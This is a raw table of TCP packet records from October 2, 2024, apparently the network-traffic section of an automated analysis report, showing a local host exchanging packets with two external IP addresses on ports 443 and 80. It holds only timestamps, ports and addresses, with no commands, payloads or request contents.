Oct 2, 2024 05:19:42.767493963 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.767534018 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.777332067 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.777347088 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.777405024 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.777411938 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.777458906 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.797152042 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.797166109 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.797224045 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.797230959 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.797276974 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.811721087 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.811733961 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.811917067 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.811923981 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.811968088 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.824850082 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.824866056 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.824935913 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.824943066 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.824989080 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.833240032 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.833255053 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.833313942 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.833319902 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.833363056 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.844063044 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.844077110 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.844132900 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.844140053 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.844178915 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.850445032 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.850467920 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.850524902 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.850532055 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.850577116 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.858268023 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.858282089 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.858339071 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.858345985 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.858382940 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.869254112 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.869267941 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.869333029 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.869339943 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.869385958 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.887346029 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.887363911 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.887425900 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.887434006 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.887470007 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.902828932 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.902842045 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.903032064 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.903038979 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.903083086 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.914850950 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.914865971 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.914935112 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.914946079 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.915002108 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.930195093 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.930248976 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.930282116 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.930288076 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.930315971 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.930330992 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.934487104 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.934530020 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.934565067 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.934575081 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.934586048 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.934612989 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.940391064 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.940404892 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.940464973 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.940471888 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.940509081 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.948456049 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.948518038 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.948551893 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.948559046 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.948585033 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.948592901 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.959418058 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.959433079 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.959496021 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.959502935 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.959542990 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.978358984 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.978374004 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.978430033 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.978436947 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.978477955 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.993957043 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.994026899 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.994025946 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.994056940 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.994067907 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:42.994085073 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.994102001 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.994131088 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.994318962 CEST	49756	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:42.994329929 CEST	443	49756	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.265705109 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.265758991 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.265849113 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.266067982 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.266088009 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.931113958 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.933542967 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.934073925 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.934084892 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.935831070 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.935836077 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:43.935863018 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:43.935870886 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:44.597487926 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:44.597568989 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:44.597666979 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:44.598040104 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:44.598072052 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:44.665981054 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:44.666038990 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:44.666212082 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:44.667371035 CEST	49757	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:44.667411089 CEST	443	49757	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.246189117 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.246296883 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.330981970 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.331012964 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.333200932 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.333216906 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.952608109 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.952630043 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.952682972 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.952788115 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.952788115 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.952789068 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.953109980 CEST	49758	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.953144073 CEST	443	49758	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.955645084 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.955682039 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:45.955758095 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.956007004 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:45.956022024 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:46.615852118 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:46.615943909 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:46.616527081 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:46.616533995 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:46.618298054 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:46.618304014 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.376137972 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.376162052 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.376233101 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.376336098 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:47.376562119 CEST	49759	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:47.376574993 CEST	443	49759	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.413846016 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:47.413868904 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:47.414083004 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:47.414351940 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:47.414366961 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.090626001 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.090718031 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.092860937 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.092869997 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.097793102 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.097798109 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.786314964 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.786386013 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:48.786386013 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.786442995 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.787429094 CEST	49760	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:48.787447929 CEST	443	49760	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:49.478358030 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:49.478442907 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:49.478543997 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:49.478780031 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:49.478815079 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.151407003 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.151506901 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.152000904 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.152020931 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.154341936 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.154354095 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.154431105 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.154462099 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.171786070 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.171819925 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.171967030 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.171998978 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.172059059 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.172072887 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.172496080 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.172518015 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:50.172559977 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:50.172574043 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:51.511895895 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:51.511971951 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:51.512002945 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.512083054 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.512368917 CEST	49761	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.512407064 CEST	443	49761	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:51.516827106 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.516866922 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:51.516953945 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.517560005 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:51.517575026 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:52.170197010 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:52.170263052 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:52.170715094 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:52.170722961 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:52.172704935 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:52.172715902 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:53.007257938 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:53.007328033 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:53.007333040 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:53.007404089 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:53.007683039 CEST	49763	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:53.007694960 CEST	443	49763	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:53.011357069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.016197920 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.016294003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.016431093 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.021174908 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637090921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637111902 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637124062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637173891 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637183905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637193918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637239933 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.637321949 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.637516022 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637526989 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637535095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637543917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.637579918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.637614965 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.642108917 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.642174006 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.642184019 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.642184973 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.642241001 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.643354893 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727025032 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727104902 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727116108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727169991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727206945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727212906 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727267981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727319956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727330923 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727371931 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727371931 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727494001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727535009 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727818012 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727878094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727895021 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727905035 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.727945089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.727977991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728096962 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728106976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728146076 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728146076 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728560925 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728614092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728630066 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728641033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728672028 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728705883 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728830099 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728842020 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.728873014 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.728905916 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.729392052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.729448080 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.729490042 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.729500055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.729556084 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.729634047 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.729681015 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.729751110 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.729795933 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.824516058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824557066 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824613094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824623108 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.824623108 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.824666977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.824717999 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824728012 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824779034 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.824933052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824943066 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824950933 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.824981928 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825011969 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825464964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825512886 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825545073 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825552940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825609922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825787067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825828075 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825905085 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825913906 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.825958014 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.825958014 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.826050043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826092958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.826351881 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826395035 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.826431036 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826440096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826473951 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.826610088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826620102 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826633930 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.826653004 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.826683998 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827277899 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827323914 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827343941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827353001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:53.827403069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827403069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:53.827503920 CEST	80	49764	147.45.44.104	192.168.2.4
